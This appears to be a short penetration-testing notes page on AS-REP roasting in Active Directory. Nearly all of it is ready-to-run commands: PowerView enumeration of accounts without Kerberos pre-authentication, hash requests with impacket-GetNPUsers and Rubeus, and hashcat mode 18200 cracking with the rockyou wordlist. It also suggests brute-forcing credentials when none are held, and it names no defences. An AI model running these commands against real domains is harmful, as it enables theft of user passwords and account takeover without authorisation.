silver-xoxo

AS-REP Roasting

2 min read

Info

When Do-able ? This attack is doable when kerberos pre-authentication is not required for any user or resource means set to disabled

What we Do ? Scenario : 1 -> With Valid Credentials of a Domain User Just ask domain controller using powerview which accounts are having pre authentication disabled (if any) and run rubeus, crack the hashes. Scenario : 2 -> Without Valid Creds Brute force for valid Credentials & Check their pre-auth requirement.

Tools Required ?

  • Rubeus
  • Power view

Quick Check [Target]

To see whether any accounts are as-rep roast able or not [Powerview]

Get-DomainUser -PreauthNotRequired

Attack :

From Linux

AS-REP roasting

impacket-GetNPUsers -dc-ip {{Domain_Controller_IP}}  -request -outputfile hashes.asreproast {{Domain}}/{{user}}

Cracking the Hash

kali@kali:~$ hashcat --help | grep -i "Kerberos"
  19600 | Kerberos 5, etype 17, TGS-REP                   | Network Protocol
  19800 | Kerberos 5, etype 17, Pre-Auth                  | Network Protocol
  19700 | Kerberos 5, etype 18, TGS-REP                   | Network Protocol
  19900 | Kerberos 5, etype 18, Pre-Auth                  | Network Protocol
   7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth           | Network Protocol
  13100 | Kerberos 5, etype 23, TGS-REP                   | Network Protocol
  18200 | Kerberos 5, etype 23, AS-REP                    | Network Protocol

Cracking the Hash

sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt --force

From Windows

AS-REP Roasting

.\Rubeus.exe asreproast /nowrap

Cracking the Hash

sudo hashcat -m 18200 hashes.asreproast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Graph View

Backlinks